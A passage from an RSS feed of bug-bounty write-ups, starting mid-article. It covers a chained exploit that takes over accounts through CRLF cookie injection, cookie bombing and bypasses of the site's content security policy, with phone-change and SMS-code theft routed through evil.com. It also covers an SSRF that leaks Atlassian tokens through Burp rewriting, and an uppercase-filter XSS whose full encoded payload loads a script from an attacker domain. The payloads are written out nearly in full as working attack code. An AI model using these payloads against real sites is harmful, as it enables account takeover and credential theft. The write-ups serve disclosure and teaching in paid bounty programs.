“http://redacted.redacted.com/robot.txtasd%0dSet-Cookie:denial4=serviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasdserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasdserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasdserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasdserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasd;Domain=.redacted.com;Path=/setcookie&quot;);<br> Iframe5.setAttribute(‘id’, ‘bomb4’);<br> Iframe5.setAttribute(‘width’, ‘1px’);<br> Iframe5.setAttribute(‘height’, ‘1px’);<br> document.body.appendChild(Iframe5);<br> <br> }</pre><pre>setTimeout(function(){ window.location=”https://www.redacted.com/selfcookiexssvulnerablepage&quot;;},3000);<br> <br> <br> &lt;/script&gt;<br> <br>&lt;/html&gt;</pre><p>So our final payload does:</p><ul><li>Set evil redacted cookie through CRLF</li><li>Bypass WAF with double encoding</li><li>Bypass our evil redacted cookie overwrite with Denial of Service on redacted.redacted.com/setcookie with cookie bombing.</li><li>Bypass CSP script-src with angularjs DOM XSS.</li><li>Bypass CSP connect-src with redacted API</li><li>Bypass CSP External resources with Evil PNG.</li><li>Change the phone and get account takeover.</li></ul><h3>👟 Step by Step of how the exploit works 👟</h3><p>From the victim&#39;s side.</p><ul><li>The victim randomly got redirected to https://evil.com/poc.html (the exploit page).</li><li>Your cookies are now infected, like getting a malware.</li><li>After you come back to Redacted login, put Redacted account credentials</li><li>You should see some exploit messages showing up right after you login, because of your injected evil cookies doing weird things.</li><li>After your phone is changed, you can check if a new phone has been added (111) 111–1111 as the primary phone and verified (no notification shows up).</li></ul><p>From the attacker side:</p><ul><li>Go to the lost password, input the account email, select the SMS recovery method.</li><li>Read the SMS code at the last line of http://evil.com/sms.txt, put the 6 digits code on the page.</li><li>Set a new password</li><li>Account <strong><em>PWNED</em></strong><em>!</em> 🔥</li></ul><p>This ended up in a 5 figures bounty because it&#39;s on one of those programs that pay nice amounts when you demonstrate impact and are rarely vulnerable to easy XSS issues in the core of the app.</p><h4>The whole process from getting the CRLF to making the Account Takeover with all bypasses took 3+ months between research, bypasses, exploit writing, and trying to join all pieces 📅 , hope you could appreciate the hard work 👨‍💻 and that you enjoyed the read. 📖</h4><p>If you enjoyed the read, please left your thumbs up! :).</p><p>My social profiles:</p><p><a href="https://hackerone.com/edduu">https://hackerone.com/edduu</a><br><a href="https://twitter.com/MasterSEC_AR">https://twitter.com/MasterSEC_AR</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=759e1091eabf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Weaponizing BURP to work as an evil SSRF Confluence Server.]]></title>
            <link>https://master-sec.medium.com/weaponizing-burp-to-work-as-an-evil-ssrf-confluence-server-e077d71b4ef2?source=rss-36b3c0f50eb3------2</link>
            <guid isPermaLink="false">https://medium.com/p/e077d71b4ef2</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[burpsuite]]></category>
            <dc:creator><![CDATA[Master SEC]]></dc:creator>
            <pubDate>Sat, 14 Dec 2019 03:49:41 GMT</pubDate>
            <atom:updated>2019-12-14T13:20:51.255Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BK-tdhZQPmGGBe7FdXxq8g.jpeg" /></figure><p>I was doing bounty on a private H1 program that interacts with various external services one of them was Atlassian Confluence and Jira.</p><p>As you know, you can run Atlassian on their cloud service at Atlassian.net, or in your own server. The Web application provided an input box to the URL and another input to the token to auth.</p><p>I created a Confluence wiki at atlassian.net, created a wiki page, wrote a few strings and added attachments, connected to this application, and the application downloaded completely the wiki page <strong>with their attachments on separate files</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*dvDQksmMEVFkXAK8I-Rn2Q.gif" /></figure><p><strong>What if I try to emulate an Atlassian server and manage to serve a 302 redirect at the time of serving the wiki attachments?</strong></p><p>Let’s make a try,</p><p>The first thing that I did, was to open 8081 port to my router, and set up Burp to forward all the traffic to Atlassian IP so I redirected my HTTP traffic to HTTPS Atlassian IP like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*Gp0Sg-6JVG7DpxGSrLQmvA.png" /></figure><p>The first MUST rule to add to search and replace is changing Host: MYOWNIP to Host: testwiki.atlassian.net. Otherwise, the Atlassian server will don’t know how to forward my traffic because that hostname with my IP is not on their WebServer config.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*4J1MYjoqnFuyl6tIrY06Qg.png" /></figure><p>I tried the application on the testing app and It worked, the first HTTP request was forwarded, but all the next requests was going back to testwiki.atlassian.net.<br><strong>I had to add a second match and replace this time in the Response Body, to find all https://testwiki.atlassian.net and change them to </strong><a href="http://MYIP:8081."><strong>http://MYIP:8081.</strong></a></p><p>After those 2 “match and replace” rules, on HTTP Proxy I could sniff and see all the HTTP Requests between the App and the Confluence server, so I waited for the app to try to synch attachments</p><p>And the HTTP Request was like this:</p><pre>GET /wiki/download/attachments/229377/mobile_login_screen.png?version=1&amp;modificationDate=1575987229920&amp;cacheVersion=1&amp;api=v2 HTTP/1.1<br>Host: testwiki.atlassian.net</pre><p>With Response:</p><pre>HTTP/1.1 302 Found <br>Server: AtlassianProxy/1.15.8.1<br>Cache-Control: private, max-age=2880 <br>Content-Type: text/html;charset=UTF-8 <br>Strict-Transport-Security: max-age=315360000; includeSubDomains; preload <br>Date: Tue, 10 Dec 2019 14:47:32 GMT <br>ATL-TraceId: 8b71903514af8688 <br>Location: https://api.media.atlassian.com/file/56a6cf71-cb37-473d-ba1b-9d5fbab9f2d3/binary?token=eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiI2Y2M5MmM2YS0xMzc5LTQ0ZmEtODJjMy02OTM3N2ZlMmEyZDciLCJhY2Nlc3MiOnsidXJuOmZpbGVzdG9yZTpmaWxlOjU2YTZjZjcxLWNiMzctNDczZC1iYTFiLTlkNWZiYWI5ZjJkMyI6WyJyZWFkIl19LCJleHAiOjE1NzYwNzIxNzIsIm5iZiI6MTU3NTk4OTE5Mn0.PMUm-azK6W-pxtssU_acN6Ut4ZZRXWJGxsE17m1JAfk&amp;client=6cc92c6a-1379-44fa-82c3-69377fe2a2d7&amp;name=mobile_login_screen.png&amp;max-age=2940</pre><p>And you can see the Location redirect to api.media.atlassian.com, that’s <strong>AWESOME.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*P8bG_IVcU3VxFJyLwiGrlA.png" /></figure><p>A simple match/replace rule with regex, a test and finally:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p1NH0WpsxOcGj3LmqGldOQ.png" /></figure><p>HTTP Proxy showed up the original response and the modified with match/replace one.</p><p><strong>And now all the attachments were 205 bytes with the access token inside of them. YEAH!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*r4GqGLFec704_vZdzfK6iQ.gif" /></figure><p>Burp helped me a lot on this one, otherwise, I would have to set up an HTTP Proxy with logs to sniff al the traffic, emulate each JSON request with PHP, Python or whatever scripting software you feel comfortable.<br><strong>This method from start to end took me about an hour,</strong> <strong>but coding myself a proxy script and emulate all could have taken me a whole day. </strong>Thumbs up to Burp to be a bounty hunting tool and a proxy weapon sometimes too! That license worth every penny.</p><p>H1 Profile: <a href="https://hackerone.com/edduu">https://hackerone.com/edduu</a><br>Twitter: <a href="https://twitter.com/MasterSEC_AR">https://twitter.com/MasterSEC_AR</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e077d71b4ef2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypass Uppercase filters like a PRO (XSS Advanced Methods)]]></title>
            <link>https://master-sec.medium.com/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce?source=rss-36b3c0f50eb3------2</link>
            <guid isPermaLink="false">https://medium.com/p/daf7a82673ce</guid>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[xss-bypass]]></category>
            <dc:creator><![CDATA[Master SEC]]></dc:creator>
            <pubDate>Fri, 11 Oct 2019 15:45:05 GMT</pubDate>
            <atom:updated>2019-10-12T16:10:49.074Z</atom:updated>
            <content:encoded><![CDATA[<p>a code injection inside javascript code can be a headache… But nothing is impossible</p><p>While we are not working on Pentesting for companies, we love to Bug Hunting on Hackerone.</p><p>We founded a vulnerable section on a site, with some sort of google analytics code, vulnerable to a URL XSS.</p><blockquote>http://website.com/dir/subdir</blockquote><p>And inside the javascript code:</p><pre>function(&quot;/DIR/SUBDIR&quot;,params);</pre><p>Burp suite discovered, that adding “-alert(1)-” at the end of the URL (http://website.com/dir/subdir/”-alert(1)-”, would be reflecting the XSS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*C2IVggvWgPnCOoq5qZRsjw.png" /></figure><p>and browser telling us <em>unable to find function ALERT(1), </em>the GET parameter is getting uppercased :(</p><p>So we started testing things to see what is filtered from the server: &lt;/script&gt;, //, \, . [dots] aren’t available for use. But we can use everything else “,’,[,],{,}</p><h3>Ok, now what? Let&#39;s find a payload that can work.</h3><p>We ended up with a few solutions all related to the jsfuck.com one. It was perfect no dots but very long.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*Gs8UW0L7DCNmUVb1DnM6BQ.png" /><figcaption>Jsfuck from <a href="https://medium.com/u/96ee1f8cb4d0">Martin Kleppe</a></figcaption></figure><p><strong>Also in hackerone if you can execute an alert(1), is just a Low severity XSS, we wanted to escalate this vulnerability to High or Critical, which can be done with loading an external JS file that executes arbitrary web actions without the user interaction.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*RCTur9W8cBglCgIhii5iiA.png" /><figcaption>This is a WordPress payload, our goal was to load an external JS with something like this for this website, changing account password or email.</figcaption></figure><p>continuing to JsFuck payloads, a simple alert(1) got converted to:</p><pre><em>&quot;-%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D)()(%2B!!%5B%5D)-&quot;</em></pre><p>That’s dope, pretty ugly and LONG. If i wanted to alert(document.cookie) <strong>its above 13000 characters long, </strong>I figured out that after 2500–2700 characters the webserver started returning <strong>Error 400</strong>.</p><p>So we started investigating how jsfuck works.</p><pre>const SIMPLE = {<br>    &#39;false&#39;:      &#39;![]&#39;,<br>    &#39;true&#39;:       &#39;!0&#39;,<br>    &#39;undefined&#39;:  &#39;0[0]&#39;,<br>    &#39;NaN&#39;:        &#39;+[!0]&#39;,<br>    &#39;Infinity&#39;:   &#39;+(+!0+(!0+[])[!0+!0+!0]+[+!0]+[0]+[0]+[0])&#39; // +&quot;1e1000&quot;<br>  };</pre><pre>const CONSTRUCTORS = {<br>    &#39;Array&#39;:    &#39;[]&#39;,<br>    &#39;Number&#39;:   &#39;(+0)&#39;,<br>    &#39;String&#39;:   &#39;([]+[])&#39;,<br>    &#39;Boolean&#39;:  &#39;(!0)&#39;,<br>    &#39;Function&#39;: &#39;[][&quot;fill&quot;]&#39;,<br>    &#39;RegExp&#39;:   &#39;Function(&quot;return/&quot;+0+&quot;/&quot;)()&#39;<br>  };</pre><pre>const MAPPING = {<br>    &#39;a&#39;:   &#39;(false+&quot;&quot;)[1]&#39;,<br>    &#39;b&#39;:   &#39;([][&quot;entries&quot;]()+&quot;&quot;)[2]&#39;,<br>    &#39;c&#39;:   &#39;([][&quot;fill&quot;]+&quot;&quot;)[3]&#39;,<br>    &#39;d&#39;:   &#39;(undefined+&quot;&quot;)[2]&#39;,<br>    &#39;e&#39;:   &#39;(true+&quot;&quot;)[3]&#39;,<br>    &#39;f&#39;:   &#39;(false+&quot;&quot;)[0]&#39;,<br>    &#39;g&#39;:   &#39;(false+[0]+String)[20]&#39;,<br>    &#39;h&#39;:   &#39;(+(101))[&quot;to&quot;+String[&quot;name&quot;]](21)[1]&#39;,<br>    &#39;i&#39;:   &#39;([false]+undefined)[10]&#39;,<br>    &#39;j&#39;:   &#39;([][&quot;entries&quot;]()+&quot;&quot;)[3]&#39;,<br>    &#39;k&#39;:   &#39;(+(20))[&quot;to&quot;+String[&quot;name&quot;]](21)&#39;,<br>    &#39;l&#39;:   &#39;(false+&quot;&quot;)[2]&#39;,<br>    &#39;m&#39;:   &#39;(Number+&quot;&quot;)[11]&#39;,<br>    &#39;n&#39;:   &#39;(undefined+&quot;&quot;)[1]&#39;,<br>    &#39;o&#39;:   &#39;(true+[][&quot;fill&quot;])[10]&#39;,<br>    &#39;p&#39;:   &#39;(+(211))[&quot;to&quot;+String[&quot;name&quot;]](31)[1]&#39;,</pre><p>I started trying to execute part of this on Chrome, to see how it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*5iNoVda8sJm9VT1o_JabAw.png" /></figure><p>so basically, we can scrap strings from the different type of vars, so we can get the lowercase letters from false, true, undefined, NaN, Infinity, etc.</p><p>So I managed to get the whole abecedary without using lowercase letters.</p><pre>Á=![]; //false<br>É=!![]; //true <br>Í=[][[]]; //undefined<br>Ó=+[![]]; //NaN<br>SI=+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]);// Infinity<br>ST=([]+[]); //<br>Ü=(+[]);</pre><pre>A=(Á+&quot;&quot;)[1];<br>D=(Í+&quot;&quot;)[2];<br>E=(É+&quot;&quot;)[3];<br>F=(Á+&quot;&quot;)[0];<br>G=[![]+[+[]]+[[]+[]][+[]][[![]+{}][+[]][+!+[]+[+[]]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[![]+{}][+[]][+!+[]+[+[]]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]][+[]][!+[]+!+[]+[+[]]];<br>I=([Á]+Í)[10];<br>L=(Á+&quot;&quot;)[2];<br>T=(É+&quot;&quot;)[0];<br>O=(É+[][F+I+L+L])[10];<br>R=(É+&quot;&quot;)[1];<br>N=(Í+&quot;&quot;)[1];<br>M=(+(208))[T+O+&quot;S&quot;+T+R+I+N+G](31)[1];<br>P=(+(211))[T+O+&quot;S&quot;+T+R+I+N+G](31)[1];<br>S=(Á+&quot;&quot;)[3];<br>U=(Í+&quot;&quot;)[0];<br>V=(+(31))[T+O+&quot;S&quot;+T+R+I+N+G](32);<br>X=(+(101))[T+O+&quot;S&quot;+T+R+I+N+G](34)[1];<br>Y=(Ó+[SI])[10];<br>Z=(+(35))[T+O+&quot;S&quot;+T+R+I+N+G](36);<br>C=([][F+I+L+L]+&quot;&quot;)[3];<br>H=(+(101))[T+O+&quot;S&quot;+T+R+I+N+G](21)[1];<br>K=(+(20))[T+O+&quot;S&quot;+T+R+I+N+G](21);<br>W=(+(32))[T+O+&quot;S&quot;+T+R+I+N+G](33);<br>J=([][E+N+T+R+I+E+S]()+&quot;&quot;)[3];<br>B=([][E+N+T+R+I+E+S]()+&quot;&quot;)[2];</pre><p>Also i was needing slashes and DOT, i was able to get the DOT from 1.1e+101 float value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/263/1*y6ROjvgyvUeQj_JwWaPmbg.png" /></figure><p>awesome we got the dot, now I was missing “/” and “g” because the uppercase filters so I decided to jsfuck do the work for me I was sacrificing 1200 chars but this payload was about 500–800 so I was in the 2400–2600 range from the http request.</p><p>Now that I have all chars is the fun part.<strong> Execution Execution Execution.</strong></p><pre>[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](A+L+E+R+T(1))();</pre><p>This was translated to fill.constructor(alert(1)) and we got our javascript executed with all uppercase letters! awesome!.</p><p>Hopefully, our vulnerable site was using jquery but loaded at the end of the HTML code, after this injection, so it will return function not found, we had to wait 3 seconds to load all dependencies and execute $.getScript to load our external JS file.</p><pre>[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](S+E+T+&quot;T&quot;+I+M+E+O+U+T+&quot;(&quot;+F+U+N+C+T+I+O+N+&quot;(){ $&quot;+DOT+G+E+T+&quot;S&quot;+C+R+I+P+T+&quot;(&#39;&quot;+SLA+SLA+&quot;test&quot;+SLA+&quot;test&#39;)(); }, 3000);&quot;)();</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*2Kns9zcGsdlAK5MSXx5YIA.png" /></figure><p>And it worked, after 3 seconds I got the test/test request showing up!!</p><p>so we URL encode it and our final payload was like</p><pre>%3B%C3%81=![]%3B%C3%89=!![]%3B%C3%8D=[][[]]%3B%C3%93=%2B[![]]%3BSI=%2B(%2B!%2B[]%2B(!%2B[]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B[%2B!%2B[]]%2B[%2B[]]%2B[%2B[]]%2B[%2B[]])%3BST=([]%2B[])%3B%C3%9C=(%2B[])%3BA=(%C3%81%2B%22%22)[1]%3BD%20=%20(%C3%8D%2B%22%22)[2]%3BE%20=%20(%C3%89%2B%22%22)[3]%3BF%20=%20(%C3%81%2B%22%22)[0]%3BG%20=%20[![]%2B[%2B[]]%2B[[]%2B[]][%2B[]][[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B!%2B[]]%2B[![]%2B[]][%2B[]][!%2B[]%2B!%2B[]%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B[]]%2B[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]]][%2B[]][!%2B[]%2B!%2B[]%2B[%2B[]]]%3BI%20=%20([%C3%81]%2B%C3%8D)[10]%3BL%20=%20(%C3%81%2B%22%22)[2]%3BT%20=%20(%C3%89%2B%22%22)[0]%3BO%20=%20(%C3%89%2B[][F%2BI%2BL%2BL])[10]%3BR%20=%20(%C3%89%2B%22%22)[1]%3BN%20=%20(%C3%8D%2B%22%22)[1]%3BM%20=%20(%2B(208))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BP%20=%20(%2B(211))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BS%20=%20(%C3%81%2B%22%22)[3]%3BU%20=%20(%C3%8D%2B%22%22)[0]%3BV%20=%20(%2B(31))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](32)%3BX%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](34)[1]%3BY%20=%20(%C3%93%2B[SI])[10]%3BZ%20=%20(%2B(35))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](36)%3BC%20=%20([][F%2BI%2BL%2BL]%2B%22%22)[3]%3BH%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)[1]%3BK%20=%20(%2B(20))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)%3BW%20=%20(%2B(32))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](33)%3BJ%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[3]%3BB%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[2]%3BDOT%20=%20(%2B(%2211E100%22)%2B[])[1]%3BSLA=(![]%2B[%2B![]])[([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(!![]%2B[])[%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B([][(![]%2B[])[%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B(!![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B!%2B[]]]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]]()[%2B!%2B[]%2B[%2B[]]]%3B[][F%2BI%2BL%2BL][C%2BO%2BN%2BS%2BT%2BR%2BU%2BC%2BT%2BO%2BR](S%2BE%2BT%2B%22T%22%2BI%2BM%2BE%2BO%2BU%2BT%2B%22(%22%2BF%2BU%2BN%2BC%2BT%2BI%2BO%2BN%2B%22()%7B%20$%22%2BDOT%2BG%2BE%2BT%2B%22S%22%2BC%2BR%2BI%2BP%2BT%2B%22(&#39;%22%2BSLA%2BSLA%2B%22BADASSDOMAIN%22%2BDOT%2B%22COM%22%2BSLA%2B%22BADASSURL&#39;)()%3B%20%7D,%203000)%3B%22)()%3B(%22</pre><p>We loaded our external JS and our external JS was able to change the username password!, <strong>account takeover</strong>, <strong>severity raised from low (simple alert XSS), to High (account takeover) and bug bounty raised from 50 to 1000 USD, <em>20 times higher</em>.</strong></p><p>special thanks to <a href="https://medium.com/u/96ee1f8cb4d0">Martin Kleppe</a>. This wouldn’t be possible without their javascript discoverments.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=daf7a82673ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>